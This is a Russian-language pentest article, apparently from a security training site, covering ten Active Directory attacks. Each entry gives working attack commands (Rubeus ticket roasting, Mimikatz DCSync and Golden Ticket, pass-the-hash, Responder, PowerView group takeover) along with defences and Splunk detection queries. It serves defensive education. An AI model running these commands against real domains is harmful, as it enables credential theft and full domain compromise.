РАЗБОР
Pentest
Статья
10 методов атак на Active Directory: углублённый разбор и защита
[ обложка статьи ]
Режим чтения
Почему 90% компаний до сих пор уязвимы?
Active Directory остаётся "святым Граалем" для хакеров — по данным CrowdStrike, 80% успешных атак на предприятия начинаются с компрометации AD. В этой статье мы не только разберём ТОП-10 методов атак, но и покажем:- Конкретные команды эксплуатации (с примерами кода)
- Интеграцию с Azure AD Protection
- Реальные кейсы из практики пентестов
Если вы админ, пентестер или специалист по ИБ — этот материал поможет вам лучше понять уязвимости AD и укрепить свою защиту. Разбираем 10 современных атак на Active Directory, их эксплуатацию и методы защиты. Практические примеры и рекомендации для специалистов по ИБ
1. Kerberoasting
- MITRE ATT&CK: T1558.003: Kerberoasting
- Описание: Kerberoasting нацелен на получение хешей паролей сервисных учетных записей (Service Accounts). Эти хеши можно извлечь из билетов TGS (Ticket Granting Service), которые защищены хешем пароля сервиса. Любой аутентифицированный пользователь может запросить TGS для любого сервиса в домене.
- Процесс атаки:
- Атакующий от имени любого пользователя домена запрашивает TGS для целевого сервиса (SPN).
- KDC возвращает TGS, зашифрованный хешем пароля сервисной учетной записи.
- Атакующий извлекает зашифрованную часть билета и подбирает пароль в оффлайн-режиме (брутфорс).
Код:# Сбор SPN для Kerberoasting с помощью PowerShell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Rubeus — утилита для запроса TGS и извлечения хешей .\Rubeus.exe kerberoast /outfile:tickets.txt
- Защита:
- Используйте групповые управляемые сервисные аккаунты (gMSA): их пароли длинные, сложные и меняются автоматически.
- Для обычных сервисных аккаунтов устанавливайте пароли длиной не менее 25 символов с использованием спецсимволов.
- Проводите аудит учетных записей со старыми паролями.
- Мониторинг:
- Простой мониторинг события Event ID 4769 (A Kerberos service ticket was requested) создаст слишком много шума. Ищите аномалии:
- Запросы билетов с использованием слабого шифрования RC4-HMAC.
- Один пользователь запрашивает множество TGS для разных сервисов за короткий промежуток времени.
- Пример запроса в Splunk для поиска слабых типов шифрования:
Код:index=windows EventCode=4769 Ticket_Encryption_Type="0x17" | stats count by user, Service_Name | where count > 5
2. AS-REP Roasting
- MITRE ATT&CK: T1558.004: AS-REP Roasting
- Описание: Если для учетной записи пользователя отключена преаутентификация Kerberos (
DoesNotRequirePreAuth = $true), злоумышленник может запросить часть билета TGT (AS-REP) без предварительной проверки. Эта часть зашифрована хешем пароля пользователя, что позволяет извлечь его для оффлайн-брутфорса.
Код:# Поиск уязвимых пользователей Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth # Rubeus для AS-REP Roasting .\Rubeus.exe asreproast /outfile:hashes.txt - Защита:
- Убедитесь, что для учетных записей пользователей не установлен атрибут
DoesNotRequirePreAuth. Контролируйте это с помощью политик и регулярного аудита. Исключение — только для специфических технических нужд. - Используйте сложные пароли, чтобы затруднить оффлайн-брутфорс.
- Убедитесь, что для учетных записей пользователей не установлен атрибут
- Мониторинг:
- Отслеживайте успешные события Event ID 4768 (A Kerberos authentication ticket (TGT) was requested), где в поле
Account_Nameуказан пользователь, для которого известно, что преаутентификация отключена. Атака не требует валидного пароля, поэтомуResult Codeбудет0x0.
- Отслеживайте успешные события Event ID 4768 (A Kerberos authentication ticket (TGT) was requested), где в поле
3. DCSync
- MITRE ATT&CK: T1003.006: Credential Dumping: DCSync
- Описание: Атака, позволяющая злоумышленнику, обладающему правами на репликацию, имитировать поведение контроллера домена и запрашивать у другого КД данные об учетных записях, включая NTLM-хеши паролей. Требуются права
Replicating Directory ChangesиReplicating Directory Changes All.
Код:# Эксплуатация через Mimikatz для получения хеша krbtgt mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit - Защита:
- Убедитесь, что права на репликацию (
DS-Replication-Get-Changesи др.) есть только у учетных записей контроллеров домена. - Регулярно проводите аудит групп с высокими привилегиями (Domain Admins, Enterprise Admins).
- Убедитесь, что права на репликацию (
- Мониторинг:
- Включите аудит доступа к объектам и отслеживайте Event ID 4662 (An operation was performed on an object).
- Ищите события, где объект — это корень домена, а в
Propertiesуказаны GUID прав на репликацию, например:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2(Get-Changes)1131f6ad-9c07-11d1-f79f-00c04fc2dcd2(Get-Changes-All)
- Критически важно: анализируйте IP-адрес источника (
Subject: Client Address). Если запрос на репликацию исходит не от контроллера домена — это явный признак атаки.
4. Golden Ticket
- MITRE ATT&CK: T1558.001: Steal or Forge Kerberos Tickets: Golden Ticket
- Описание: Скомпрометировав учетную запись
KRBTGT, злоумышленник получает ее NTLM-хеш и может создавать поддельные билеты Kerberos (TGT) для любого пользователя с любыми привилегиями и неограниченным сроком действия.
Код:# 1. Получаем хеш KRBTGT (например, через DCSync) .\mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit # 2. Создаём Golden Ticket и внедряем его в текущую сессию .\mimikatz.exe "kerberos::golden /domain:corp.local /sid:S-1-5-21-1234567890 /krbtgt:hash /user:Administrator /ptt" exit - Защита:
- Регулярно меняйте пароль KRBTGT. Делайте это дважды с интервалом, превышающим время репликации между КД.
- Максимально защищайте контроллеры домена, чтобы не допустить компрометации
KRBTGT.
- Мониторинг:
- Обнаружение использования Golden Ticket — сложная задача. Событие 4769 неэффективно.
- Ищите аномалии в событиях входа Event ID 4624на целевых системах:
- Время входа не совпадает с рабочими часами пользователя.
- Поля
Account NameиSecurity IDв событии не соответствуют друг другу. - Поле
Logon GUIDимеет нулевое значение (00000000-0000-0000-0000-000000000000).
5. DCShadow
- MITRE ATT&CK: T1207: Rogue Domain Controller
- Описание: DCShadow позволяет злоумышленнику с высокими привилегиями временно зарегистрировать свою машину как поддельный контроллер домена и "реплицировать" вредоносные изменения в AD (например, добавить пользователя в группу Domain Admins). Эти изменения выглядят как легитимная репликация и обходят многие средства мониторинга.
Код:# Использование Mimikatz для DCShadow (финальный шаг) # Атака требует предварительной регистрации SPN mimikatz.exe "lsadump::dcshadow /push" exit - Защита:
- Ограничьте права на создание и изменение объектов в конфигурационном разделе AD (
CN=Configuration,DC=...). - Контролируйте, кто может регистрировать SPN для компьютерных объектов.
- Ограничьте права на создание и изменение объектов в конфигурационном разделе AD (
- Мониторинг:
- Отслеживайте сетевую активность по протоколу DRSUAPI от систем, которые не являются контроллерами домена.
- Мониторьте события создания объектов
nTDSDSAв конфигурационном разделе AD.
6. Pass-the-Hash (PtH)
- MITRE ATT&CK: T1550.002: Use Alternate Authentication Material: Pass the Hash
- Описание: Атака позволяет злоумышленнику использовать украденный NTLM-хеш пользователя вместо пароля для аутентификации на других системах в сети.
Код:# Использование Mimikatz для Pass-the-Hash mimikatz.exe "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:cmd.exe" - Защита:
- Включите Microsoft Defender Credential Guard (Windows 10/11/Server 2016+) для изоляции процесса LSASS.
- Включите LSA Protection (
RunAsPPL). - Применяйте принцип минимальных привилегий и сегментируйте сеть, чтобы ограничить боковое перемещение.
- Мониторинг:
- На целевой машине атака PtH генерирует событие Event ID 4624 (An account was successfully logged on) с LogonType = 3 (Network).
- Запрос в Splunk:
Код:index=windows EventCode=4624 LogonType=3 AuthenticationPackageName=NTLM - Ищите аномалии: вход привилегированных учетных записей на рабочие станции, множественные входы с одного хоста под разными аккаунтами.
7. LLMNR/NBT-NS Poisoning
- MITRE ATT&CK: T1557.001: Man-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
- Описание: Атака заключается в ответе на широковещательные запросы разрешения имен (LLMNR, NBT-NS), когда DNS не смог найти хост. Злоумышленник сообщает жертве свой IP-адрес. Когда жертва пытается аутентифицироваться на поддельном сервисе (например, SMB), атакующий перехватывает ее NTLM-хеш и может либо взломать его, либо ретранслировать (SMB Relay).
- Инструменты: Responder, mitm6.
Bash:# Запуск Responder для перехвата запросов sudo python Responder.py -I eth0 -wrf - Защита:
- Отключите LLMNR и NetBIOS через групповые политики (GPO).
- Включите SMB-подписывание (SMB Signing), чтобы предотвратить атаку SMB Relay.
8. ACL Abuse
- Описание: Атакующий находит и использует некорректно настроенные списки контроля доступа (ACL) на объектах AD (пользователи, группы, GPO) для эскалации привилегий. Например, если у обычного пользователя есть право
WriteDaclилиGenericAllна группу "Domain Admins", он может добавить себя в эту группу.
Код:# PowerView для поиска опасных прав на группе "Domain Admins" Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl" } # PowerView для добавления себя в группу Add-DomainGroupMember -Identity "Domain Admins" -Members "Attacker" - Защита:
- Регулярно аудитируйте ACL на критически важных объектах с помощью BloodHound или PingCastle.
- Используйте принцип минимальных привилегий. Удаляйте избыточные права.
- Следите за объектом
AdminSDHolderдля защиты привилегированных групп.
9. Unconstrained Delegation
- MITRE ATT&CK: T1558: Steal or Forge Kerberos Tickets
- Описание: Если для сервера включена неограниченная делегация, он сохраняет TGT пользователя, который на нем аутентифицируется. Злоумышленник, получивший контроль над таким сервером, может извлечь TGT (например, администратора) и использовать его для доступа к любым другим ресурсам от имени этого администратора.
Код:# Поиск серверов с неограниченной делегацией Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation # Rubeus для мониторинга и извлечения TGT из LSASS на скомпрометированном сервере .\Rubeus.exe monitor /interval:5 # Использование извлеченного билета (в Base64) .\Rubeus.exe ptt /ticket:<base64_ticket_data> - Защита:
- Избегайте использования неограниченной делегации. Переходите на Constrained Delegation (ограниченная делегация) или, что еще лучше, Resource-Based Constrained Delegation (RBCD).
- Добавляйте привилегированные учетные записи в группу "Protected Users". Это запрещает делегирование для таких аккаунтов.
10. Shadow Admins
- MITRE ATT&CK: T1098: Account Manipulation
- Описание: "Теневые администраторы" — это пользователи, которые не являются членами административных групп напрямую, но имеют права, позволяющие им стать администраторами. Например, пользователь с правом сброса пароля члена группы "Domain Admins" или правом на изменение GPO, применяемой к контроллерам домена.
Код:# Использование PowerView для анализа путей атаки (BloodHound делает это нагляднее) Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericAll|WriteDacl" } - Защита:
- Регулярно сканируйте AD на наличие путей эскалации привилегий с помощью BloodHound.
- Включите аудит изменений ACL (Event ID 5136) и членства в группах (Event ID 4728/4729).
- Мониторинг:
- Сфокусируйтесь на изменениях в самых критичных объектах.
- Пример запроса в Splunk для отслеживания изменений в ACL критичных групп:
Код:index=windows EventCode=5136 "Object Type"="Group" "Object Name" IN ("Domain Admins", "Enterprise Admins", "Schema Admins", "Administrators")
FAQ: Коротко о главном
Как быстро обнаружить атаку на AD?Какие инструменты помогают в защите AD?
Как часто менять пароль KRBTGT?
Хотите глубже разобрать эти техники?
На курсе Анализ защищенности Active Directory от Codeby Academy вы:Какие из описанных атак вы считаете наиболее опасными? Какие инструменты и методы защиты вы используете в своей практике? Делитесь своим опытом и задавайте вопросы в комментариях!
AI-выжимка
сгенерировано ИИ
Тезисы статьи скоро
Статья читается полностью. Тезисы со ссылками на разделы появятся позже.
Содержание
Codeby Academy
Практика и мастерство
От основ до продвинутого — программы для практиков Codeby.
Перейти к курсу →
Продолжить чтение
Следующий разбор
CUPS RCE уязвимость: полный разбор цепочки CVE-2024-47176 и эксплуатация print spooler
Комментарии
0